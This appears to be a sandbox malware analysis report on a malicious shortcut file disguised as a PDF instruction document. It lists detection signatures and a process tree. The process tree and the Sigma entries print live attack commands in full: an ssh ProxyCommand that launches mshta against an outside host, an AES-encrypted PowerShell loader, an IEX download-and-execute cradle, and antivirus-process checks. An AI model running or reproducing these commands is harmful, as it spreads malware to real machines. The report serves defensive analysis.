Edit tour

Windows Analysis Report
https://download-695-18811-018-webdav-logicaldoc.cdn-serveri4731-ns.shop/Documents/Instruction_695-18014-012_Rev.PDF.lnk

Overview

General Information

Sample URL:	https://download-695-18811-018-webdav-logicaldoc.cdn-serveri4731-ns.shop/Documents/Instruction_695-18014-012_Rev.PDF.lnk
Analysis ID:	1573288
Infos:

Detection

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Sigma detected: Powershell Download and Execute IEX

Sigma detected: Search for Antivirus process

Suricata IDS alerts for network traffic

Machine Learning detection for dropped file

Powershell drops PE file

Sigma detected: Dot net compiler compiles file from suspicious location

Sigma detected: Potentially Suspicious PowerShell Child Processes

Sigma detected: PowerShell Download and Execution Cradles

Sigma detected: Suspicious MSHTA Child Process

Sigma detected: Suspicious PowerShell Download and Execute Pattern

Sigma detected: Suspicious PowerShell Invocations - Specific - PowerShell Module

Suspicious powershell command line found

Yara detected Generic Downloader

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Compiles C# or VB.Net code

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Drops PE files

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

May sleep (evasive loops) to hinder dynamic analysis

Queries the volume information (name, serial number etc) of a device

Searches for the Microsoft Outlook file path

Sigma detected: Change PowerShell Policies to an Insecure Level

Sigma detected: Dynamic .NET Compilation Via Csc.EXE

Sigma detected: Lolbin Ssh.exe Use As Proxy

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Sigma detected: PowerShell Download Pattern

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Copy From or To System Directory

Sigma detected: Suspicious PowerShell Invocations - Specific - ProcessCreation

Sigma detected: Usage Of Web Request Commands And Cmdlets

Stores files to the Windows start menu directory

Suricata IDS alerts with low severity for network traffic

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Very long command line found

Classification

Process Tree

System is w10x64_ra

chrome.exe (PID: 984 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: 83395EAB5B03DEA9720F8D7AC0D15CAA)

chrome.exe (PID: 6008 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2232 --field-trial-handle=2008,i,18372422873552827716,2715434285211757034,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 83395EAB5B03DEA9720F8D7AC0D15CAA)

chrome.exe (PID: 2884 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://download-695-18811-018-webdav-logicaldoc.cdn-serveri4731-ns.shop/Documents/Instruction_695-18014-012_Rev.PDF.lnk" MD5: 83395EAB5B03DEA9720F8D7AC0D15CAA)

OpenWith.exe (PID: 6268 cmdline: C:\Windows\system32\OpenWith.exe -Embedding MD5: E4A834784FA08C17D47A1E72429C5109)

MpCmdRun.exe (PID: 2708 cmdline: "C:\Program Files\Windows Defender\mpcmdrun.exe" -wdenable MD5: B3676839B2EE96983F9ED735CD044159)

conhost.exe (PID: 3576 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

rundll32.exe (PID: 7440 cmdline: C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding MD5: EF3179D498793BF4234F708D3BE28633)

ssh.exe (PID: 7704 cmdline: "C:\Windows\System32\OpenSSH\ssh.exe" -o ProxyCommand="powershell powershell -Command 'mU_<ATwLQ=>WqAmshta https://static.klipmybekoe.shop/5MV6U.mp4mU_<ATwLQ=>WqA'.SubString(14, 47)" . MD5: C05426E6F6DFB30FB78FBA874A2FF7DC)

conhost.exe (PID: 7752 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7868 cmdline: powershell powershell -Command 'mU_<ATwLQ=>WqAmshta https://static.klipmybekoe.shop/5MV6U.mp4mU_<ATwLQ=>WqA'.SubString(14, 47) MD5: 04029E121A0CFA5991749937DD22A1D9)

powershell.exe (PID: 8000 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "mshta https://static.klipmybekoe.shop/5MV6U.mp4" MD5: 04029E121A0CFA5991749937DD22A1D9)

mshta.exe (PID: 8092 cmdline: "C:\Windows\system32\mshta.exe" https://static.klipmybekoe.shop/5MV6U.mp4 MD5: 0B4340ED812DC82CE636C00FA5C9BEF2)

powershell.exe (PID: 5444 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function RFpfE($qAFB){return -split ($qAFB -replace '..', '0x$& ')};$CLkAU = RFpfE('F6A906EA9A8B03BF8982351A6A2E7F5601882A3C15DC699E327C9FD9263B8CC4B78E45D1498DA21901CB01F8EE21A81F89423EDE39C43E4445F86F100145C78A254E490087C167A8FCDE9AB218491ED0390CACB6AFB8FA9DB178377E3692D7890E2208442D0DD53C8D81A98ADF5E41401F6EC8AF5E5E93E92E92C36F10387F113BAE0E14E51540D2403F393D3BA8544000D12628DA6AE647EB44003EA36C928710911689A7C08F647917F48BCFF8A16D809736B319C8C6D120509449D4D908CBB00B9B3968A0264F0D00C13645E8839D472B1FC2526A10F919B7051E20380EC70097EFA1DDB8920157957F22E28530A6B1103EAB51B4ADB7C8A7FF8C7756348170B5A842F52100EC776BEE97CEE285636BB3D580D3A7903B8B981EFA047E102E320AEE9A19897CC68457DD16FBEDEE177C3F3380508FB7C5D541C078FFC435E191D6EB52AA039F2EEA8CD38EBA3FC25F9923C5BC673060E8683A1AEDE8D9B835DD8070763F9356572D1D85A96981C2F8326E8E1344B45EC0A84F20D785452184647540978C61E331B68CFFFA60EA7EA10FE603D924EC3BC680C9289327BCCAADD415AA7B64A5A9569DB1D72DA21B969668306D3276D60EC4C42EEE4207D341C503F8521E0607B70A5CC9DB91371C16084C8D11303CA3DA1A2E008A7149BD890A38EEE37EEA63A901FE1D9D9F378811B950CF33C565A4082C4FE668A955A639FA7578699ADDF819BDDBA0F15695838BB098BF5B128542F631ECE9DEF5BD905CD1732F31E056686D623BCD5039FC9DDEC74DDA666D62AC11454F8B9041F83E9FF96C0900ADD4250ABE73F4218ED174ECD8C5DE8E12B5E9AA98785D96377360B4EFFEBB72B3D85690B96F86CA5F386E54C647E80B3EB73551FFBFBA8E1AC325311CF6B9CFCDDF855EFB4194FD7806925E6E20AEC7A8A4832597F78D6B3B3A05044A2A70D014DE815B9DCD4964187B56C4550CAA047A06D325827E7A0C78021FA788364258976E4F05BF34D8713C34B971800E76733923D64C7E44C914B597BF67AF87BEACF301F8BBE82829B975012AB505B025B56F2EDAC8FACAC1E9394E7DE9A7B5D1B17F43BCAA9DAAEBA539F9AD1A94A8FB04E2D6A81C28F2202ACD2521D0D9F6A81CD76A6B37B78E8A56DC502729F8842DDA04E915E907966BF28DEFF880103C0EA91F78F5EF0767158F737693FA24122559B72F63D01B727410CA885A6A1E262317F081B8BC62E83ED1908661D47DBB97B9E1CFFCECB827FD80AE793463F2B92C66A2BB43865FF371643B83E017909EF24426E1537F23C3358D3B8B0930E585FD05ACE55BD064681A48A7E4FB064E0FC093C1E912C0E8BC84E3419E3A9809B3D6FF420C3839DCBD8FEF438B40F88753FB77C0743BCE75E544C62182B0FEEA97C041D7B18457E6584778F22EDEF36672015D59B8682037DEDBF664F5134470');$vDlAX=-join [char[]](([Security.Cryptography.Aes]::Create()).CreateDecryptor((RFpfE('5A4C72435A7854455476796A794D454C')),[byte[]]::new(16)).TransformFinalBlock($CLkAU,0,$CLkAU.Length)); & $vDlAX.Substring(0,3) $vDlAX.Substring(215) MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7156 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 6004 cmdline: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -Command (& {IEX ((New-Object Net.WebClient).DownloadString('https://flac.mindful-journal.shop/jenew')); ([char[]]@('e','x','i','t') -join '') | ForEach-Object {Invoke-Expression }}) MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 2204 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

csc.exe (PID: 7832 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\mv44vish.cmdline" MD5: EB80BB1CA9B9C7F516FF69AFCFD75B7D)

cvtres.exe (PID: 7608 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES21E2.tmp" "c:\Users\user\AppData\Local\Temp\CSC3175A4D19118469EA1291A30DC82CEF5.TMP" MD5: 70D838A7DC5B359C3F938A71FAD77DB0)

EdgarMales.exe (PID: 8168 cmdline: "C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\EdgarMales.exe" MD5: 4A07192AC8A18D0A148D1EC12F27F9CB)

cmd.exe (PID: 7208 cmdline: "C:\Windows\System32\cmd.exe" /c copy Anytime Anytime.cmd && Anytime.cmd MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 4208 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 4820 cmdline: tasklist MD5: 0A4448B31CE7F83CB7691A2657F330F1)

findstr.exe (PID: 4856 cmdline: findstr /I "wrsa opssvc" MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)

tasklist.exe (PID: 3056 cmdline: tasklist MD5: 0A4448B31CE7F83CB7691A2657F330F1)

findstr.exe (PID: 7628 cmdline: findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth" MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)

cmd.exe (PID: 5840 cmdline: cmd /c md 383847 MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

findstr.exe (PID: 7392 cmdline: findstr /V "ReservedFijiSupplementsFailingArrangementsFocusingMartGlucose" Discounts MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)

cmd.exe (PID: 8000 cmdline: cmd /c copy /b ..\Muslim + ..\Threat + ..\Tabs + ..\Rouge + ..\Prove + ..\Er z MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

Client.com (PID: 7908 cmdline: Client.com z MD5: 62D09F076E6E0240548C2F837536A46A)

choice.exe (PID: 7892 cmdline: choice /d y /t 5 MD5: FCE0E41C87DC4ABBE976998AD26C27E4)

Acrobat.exe (PID: 1112 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Roaming\i1040gi.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 1536 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 4624 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2284 --field-trial-handle=1612,i,9767176408936649920,9595500780539240721,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cleanup

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\Microsoft.VisualStudio.Setup.Download.dll	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\Microsoft.VisualStudio.Setup.Download.dll	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Potentially Suspicious PowerShell Child Processes

Source: Process started

Author: Florian Roth (Nextron Systems), Tim Shelton: Data: Command: "C:\Windows\system32\mshta.exe" https://static.klipmybekoe.shop/5MV6U.mp4, CommandLine: "C:\Windows\system32\mshta.exe" https://static.klipmybekoe.shop/5MV6U.mp4, CommandLine|base64offset|contains: , Image: C:\Windows\System32\mshta.exe, NewProcessName: C:\Windows\System32\mshta.exe, OriginalFileName: C:\Windows\System32\mshta.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "mshta https://static.klipmybekoe.shop/5MV6U.mp4", ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 8000, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\system32\mshta.exe" https://static.klipmybekoe.shop/5MV6U.mp4, ProcessId: 8092, ProcessName: mshta.exe

Sigma detected: PowerShell Download and Execution Cradles

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -Command (& {IEX ((New-Object Net.WebClient).DownloadString('https://flac.mindful-journal.shop/jenew')); ([char[]]@('e','x','i','t') -join '') | ForEach-Object {Invoke-Expression }}) , CommandLine: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -Command (& {IEX ((New-Object Net.WebClient).DownloadString('https://flac.mindful-journal.shop/jenew')); ([char[]]@('e','x','i','t') -join '') | ForEach-Object {Invoke-Expression }}) , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function RFpfE($qAFB){return -split ($qAFB -replace '..', '0x$& ')};$CLkAU = RFpfE('F6A906EA9A8B03BF8982351A6A2E7F5601882A3C15DC699E327C9FD9263B8CC4B78E45D1498DA21901CB01F8EE21A81F89423EDE39C43E4445F86F100145C78A254E490087C167A8FCDE9AB218491ED0390CACB6AFB8FA9DB178377E3692D7890E2208442D0DD53C8D81A98ADF5E41401F6EC8AF5E5E93E92E92C36F10387F113BAE0E14E51540D2403F393D3BA8544000D12628DA6AE647EB44003EA36C928710911689A7C08F647917F48BCFF8A16D809736B319C8C6D120509449D4D908CBB00B9B3968A0264F0D00C13645E8839D472B1FC2526A10F919B7051E20380EC70097EFA1DDB8920157957F22E28530A6B1103EAB51B4ADB7C8A7FF8C7756348170B5A842F52100EC776BEE97CEE285636BB3D580D3A7903B8B981EFA047E102E320AEE9A19897CC68457DD16FBEDEE177C3F3380508FB7C5D541C078FFC435E191D6EB52AA039F2EEA8CD38EBA3FC25F9923C5BC673060E8683A1AEDE8D9B835DD8070763F9356572D1D85A96981C2F8326E8E1344B45EC0A84F20D785452184647540978C61E331B68CFFFA60EA7EA10FE603D924EC3BC680C9289327BCCAADD415AA7B64A5A9569DB1D72DA21B969668306D3276D60EC4C42EEE4207D341C503F8521E0607B70A5CC9DB91371C16084C8D11303CA3DA1A2E008A7149BD890A38EEE37EEA63A901FE1D9D9F378811B950CF33C565A4082C4FE668A955A639FA7578699ADDF819BDDBA0F15695838BB098BF5B128542F631ECE9DEF5BD905CD1732F31E056686D623BCD5039FC9DDEC74DDA666D62AC11454F8B9041F83E9FF96C0900ADD4250ABE73F4218ED174ECD8C5DE8E12B5E9AA98785D96377360B4EFFEBB72B3D85690B96F86CA5F386E54C647E80B3EB73551FFBFBA8E1AC325311CF6B9CFCDDF855EFB4194FD7806925E6E20AEC7A8A4832597F78D6B3B3A05044A2A70D014DE815B9DCD4964187B56C4550CAA047A06D325827E7A0C78021FA788364258976E4F05BF34D8713C34B971800E76733923D64C7E44C914B597BF67AF87BEACF301F8BBE82829B975012AB505B025B56F2EDAC8FACAC1E9394E7DE9A7B5D1B17F43BCAA9DAAEBA539F9AD1A94A8FB04E2D6A81C28F2202ACD2521D0D9F6A81CD76A6B37B78E8A56DC502729F8842DDA04E915E907966BF28DEFF880103C0EA91F78F5EF0767158F737693FA24122559B72F63D01B727410CA885A6A1E262317F081B8BC62E83ED1908661D47DBB97B9E1CFFCECB827FD80AE793463F2B92C66A2BB43865FF371643B83E017909EF24426E1537F23C3358D3B8B0930E585FD05ACE55BD064681A48A7E4FB064E0FC093C1E912C0E8BC84E3419E3A9809B3D6FF420C3839DCBD8FEF438B40F88753FB77C0743BCE75E544C62182B0FEEA97C041D7B18457E6584778F22

Sigma detected: Suspicious MSHTA Child Process

Source: Process started

Author: Michael Haag: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function RFpfE($qAFB){return -split ($qAFB -replace '..', '0x$& ')};$CLkAU = RFpfE('F6A906EA9A8B03BF8982351A6A2E7F5601882A3C15DC699E327C9FD9263B8CC4B78E45D1498DA21901CB01F8EE21A81F89423EDE39C43E4445F86F100145C78A254E490087C167A8FCDE9AB218491ED0390CACB6AFB8FA9DB178377E3692D7890E2208442D0DD53C8D81A98ADF5E41401F6EC8AF5E5E93E92E92C36F10387F113BAE0E14E51540D2403F393D3BA8544000D12628DA6AE647EB44003EA36C928710911689A7C08F647917F48BCFF8A16D809736B319C8C6D120509449D4D908CBB00B9B3968A0264F0D00C13645E8839D472B1FC2526A10F919B7051E20380EC70097EFA1DDB8920157957F22E28530A6B1103EAB51B4ADB7C8A7FF8C7756348170B5A842F52100EC776BEE97CEE285636BB3D580D3A7903B8B981EFA047E102E320AEE9A19897CC68457DD16FBEDEE177C3F3380508FB7C5D541C078FFC435E191D6EB52AA039F2EEA8CD38EBA3FC25F9923C5BC673060E8683A1AEDE8D9B835DD8070763F9356572D1D85A96981C2F8326E8E1344B45EC0A84F20D785452184647540978C61E331B68CFFFA60EA7EA10FE603D924EC3BC680C9289327BCCAADD415AA7B64A5A9569DB1D72DA21B969668306D3276D60EC4C42EEE4207D341C503F8521E0607B70A5CC9DB91371C16084C8D11303CA3DA1A2E008A7149BD890A38EEE37EEA63A901FE1D9D9F378811B950CF33C565A4082C4FE668A955A639FA7578699ADDF819BDDBA0F15695838BB098BF5B128542F631ECE9DEF5BD905CD1732F31E056686D623BCD5039FC9DDEC74DDA666D62AC11454F8B9041F83E9FF96C0900ADD4250ABE73F4218ED174ECD8C5DE8E12B5E9AA98785D96377360B4EFFEBB72B3D85690B96F86CA5F386E54C647E80B3EB73551FFBFBA8E1AC325311CF6B9CFCDDF855EFB4194FD7806925E6E20AEC7A8A4832597F78D6B3B3A05044A2A70D014DE815B9DCD4964187B56C4550CAA047A06D325827E7A0C78021FA788364258976E4F05BF34D8713C34B971800E76733923D64C7E44C914B597BF67AF87BEACF301F8BBE82829B975012AB505B025B56F2EDAC8FACAC1E9394E7DE9A7B5D1B17F43BCAA9DAAEBA539F9AD1A94A8FB04E2D6A81C28F2202ACD2521D0D9F6A81CD76A6B37B78E8A56DC502729F8842DDA04E915E907966BF28DEFF880103C0EA91F78F5EF0767158F737693FA24122559B72F63D01B727410CA885A6A1E262317F081B8BC62E83ED1908661D47DBB97B9E1CFFCECB827FD80AE793463F2B92C66A2BB43865FF371643B83E017909EF24426E1537F23C3358D3B8B0930E585FD05ACE55BD064681A48A7E4FB064E0FC093C1E912C0E8BC84E3419E3A9809B3D6FF420C3839DCBD8FEF438B40F88753FB77C0743BCE75E544C62182B0FEEA97C041D7B18457E6584778F22EDEF36672015D59B8682037DEDBF664F5134470');$vDlAX=-join [char[]](([Security.Cryptography.Aes]::Create()).CreateDecryptor((RFpfE('5A4C72435A7854455476796A794D454C')),[byte[]]::new(16)).TransformFinalBlock($CLkAU,0,$CLkAU.Length)); & $vDlAX.Substring(0,3) $vDlAX.Substring(215), CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function RFpfE($qAFB){return -split ($qAFB -replace '..', '0x$& ')};$CLkAU = RFpfE('F6A906EA9A8B03BF8982351A6A2E7F5601882A3C15DC699E327C9FD9263B8CC4B78E45D1498DA21901CB01F8EE21A81F89423EDE39C43E4445F86F100145C78A254E490087C167A8FCDE9AB218491ED0390CACB6AFB8FA9DB178377E3692D7890E2208442D0DD53C8D81A98ADF5E41401F6EC8AF5E5E93E92E92C36F10387F113BAE0E14E51540D2403F393D3BA8544000D12628DA6AE647EB44003EA36C928710911689A7C08F647917F48BC

Sigma detected: Suspicious PowerShell Download and Execute Pattern

Source: Process started

Sigma detected: Suspicious PowerShell Invocations - Specific - PowerShell Module

Source: Event Logs

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro: Data: ContextInfo: Severity = Informational Host Name = ConsoleHost Host Version = 5.1.19041.1682 Host ID = 6a3127f5-6b15-422a-a0a5-2f3e33df1958 Host Application = C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe -NoProfile -Command (amp; {IEX ((New-Object Net.WebClient).DownloadString('https://flac.mindful-journal.shop/jenew')); ([char[]]@('e','x','i','t') -join '') | ForEach-Object {Invoke-Expression }}) Engine Version = 5.1.19041.1682 Runspace ID = 3ec4fe47-b269-4552-b3e7-cab2a2a927f6 Pipeline ID = 1 Command Name = Add-Type Command Type = Cmdlet Script Name = Command Path = Sequence Number = 16 User = user-PC\user Connected User = Shell ID = Microsoft.PowerShell, EventID: 4103, Payload: CommandInvocation(Add-Type): "Add-Type"ParameterBinding(Add-Type): name="TypeDefinition"; value=" using System; using System.Runtime.InteropServices; public class Win32 { [DllImport("kernel32")] public static extern IntPtr GetProcAddress(IntPtr hModule, string procName); [DllImport("kernel32")] public static extern IntPtr LoadLibrary(string name); [DllImport("kernel32")] public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect); }", Source: Microsoft-Windows-PowerShell, UserData: , data0: Severity = Informational Host Name = ConsoleHost Host Version = 5.1.19041.1682 Host ID = 6a3127f5-6b15-422a-a0a5-2f3e33df1958 Host Application = C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe -NoProfile -Command (amp; {IEX ((New-Object Net.WebClient).DownloadString('https://flac.mindful-journal.shop/jenew')); ([char[]]@('e','x','i','t') -join '') | ForEach-Object {Invoke-Expression }}) Engine Version = 5.1.19041.1682 Runspace ID = 3ec4fe47-b269-4552-b3e7-cab2a2a927f6 Pipeline ID = 1 Command Name = Add-Type Command Type = Cmdlet Script Name = Command Path = Sequence Number = 16 User = user-PC\user Connected User = Shell ID = Microsoft.PowerShell, data1: , data2: CommandInvocation(Add-Type): "Add-Type"ParameterBinding(Add-Type): name="TypeDefinition"; value=" using System; using System.Runtime.InteropServices; public class Win32 { [DllImport("kernel32")] public static extern IntPtr GetProcAddress(IntPtr hModule, string procName); [DllImport("kernel32")] public static extern IntPtr LoadLibrary(string name); [DllImport("kernel32")] public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect); }"

Sigma detected: Change PowerShell Policies to an Insecure Level

Source: Process started

Author: frack113: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function RFpfE($qAFB){return -split ($qAFB -replace '..', '0x$& ')};$CLkAU = RFpfE('F6A906EA9A8B03BF8982351A6A2E7F5601882A3C15DC699E327C9FD9263B8CC4B78E45D1498DA21901CB01F8EE21A81F89423EDE39C43E4445F86F100145C78A254E490087C167A8FCDE9AB218491ED0390CACB6AFB8FA9DB178377E3692D7890E2208442D0DD53C8D81A98ADF5E41401F6EC8AF5E5E93E92E92C36F10387F113BAE0E14E51540D2403F393D3BA8544000D12628DA6AE647EB44003EA36C928710911689A7C08F647917F48BCFF8A16D809736B319C8C6D120509449D4D908CBB00B9B3968A0264F0D00C13645E8839D472B1FC2526A10F919B7051E20380EC70097EFA1DDB8920157957F22E28530A6B1103EAB51B4ADB7C8A7FF8C7756348170B5A842F52100EC776BEE97CEE285636BB3D580D3A7903B8B981EFA047E102E320AEE9A19897CC68457DD16FBEDEE177C3F3380508FB7C5D541C078FFC435E191D6EB52AA039F2EEA8CD38EBA3FC25F9923C5BC673060E8683A1AEDE8D9B835DD8070763F9356572D1D85A96981C2F8326E8E1344B45EC0A84F20D785452184647540978C61E331B68CFFFA60EA7EA10FE603D924EC3BC680C9289327BCCAADD415AA7B64A5A9569DB1D72DA21B969668306D3276D60EC4C42EEE4207D341C503F8521E0607B70A5CC9DB91371C16084C8D11303CA3DA1A2E008A7149BD890A38EEE37EEA63A901FE1D9D9F378811B950CF33C565A4082C4FE668A955A639FA7578699ADDF819BDDBA0F15695838BB098BF5B128542F631ECE9DEF5BD905CD1732F31E056686D623BCD5039FC9DDEC74DDA666D62AC11454F8B9041F83E9FF96C0900ADD4250ABE73F4218ED174ECD8C5DE8E12B5E9AA98785D96377360B4EFFEBB72B3D85690B96F86CA5F386E54C647E80B3EB73551FFBFBA8E1AC325311CF6B9CFCDDF855EFB4194FD7806925E6E20AEC7A8A4832597F78D6B3B3A05044A2A70D014DE815B9DCD4964187B56C4550CAA047A06D325827E7A0C78021FA788364258976E4F05BF34D8713C34B971800E76733923D64C7E44C914B597BF67AF87BEACF301F8BBE82829B975012AB505B025B56F2EDAC8FACAC1E9394E7DE9A7B5D1B17F43BCAA9DAAEBA539F9AD1A94A8FB04E2D6A81C28F2202ACD2521D0D9F6A81CD76A6B37B78E8A56DC502729F8842DDA04E915E907966BF28DEFF880103C0EA91F78F5EF0767158F737693FA24122559B72F63D01B727410CA885A6A1E262317F081B8BC62E83ED1908661D47DBB97B9E1CFFCECB827FD80AE793463F2B92C66A2BB43865FF371643B83E017909EF24426E1537F23C3358D3B8B0930E585FD05ACE55BD064681A48A7E4FB064E0FC093C1E912C0E8BC84E3419E3A9809B3D6FF420C3839DCBD8FEF438B40F88753FB77C0743BCE75E544C62182B0FEEA97C041D7B18457E6584778F22EDEF36672015D59B8682037DEDBF664F5134470');$vDlAX=-join [char[]](([Security.Cryptography.Aes]::Create()).CreateDecryptor((RFpfE('5A4C72435A7854455476796A794D454C')),[byte[]]::new(16)).TransformFinalBlock($CLkAU,0,$CLkAU.Length)); & $vDlAX.Substring(0,3) $vDlAX.Substring(215), CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function RFpfE($qAFB){return -split ($qAFB -replace '..', '0x$& ')};$CLkAU = RFpfE('F6A906EA9A8B03BF8982351A6A2E7F5601882A3C15DC699E327C9FD9263B8CC4B78E45D1498DA21901CB01F8EE21A81F89423EDE39C43E4445F86F100145C78A254E490087C167A8FCDE9AB218491ED0390CACB6AFB8FA9DB178377E3692D7890E2208442D0DD53C8D81A98ADF5E41401F6EC8AF5E5E93E92E92C36F10387F113BAE0E14E51540D2403F393D3BA8544000D12628DA6AE647EB44003EA36C928710911689A7C08F647917F48BC

Sigma detected: Dynamic .NET Compilation Via Csc.EXE

Source: Process started

Author: Florian Roth (Nextron Systems), X__Junior (Nextron Systems): Data: Command: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\mv44vish.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\mv44vish.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe, ParentCommandLine: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -Command (& {IEX ((New-Object Net.WebClient).DownloadString('https://flac.mindful-journal.shop/jenew')); ([char[]]@('e','x','i','t') -join '') | ForEach-Object {Invoke-Expression }}) , ParentImage: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 6004, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\mv44vish.cmdline", ProcessId: 7832, ProcessName: csc.exe

Sigma detected: Lolbin Ssh.exe Use As Proxy

Source: Process started

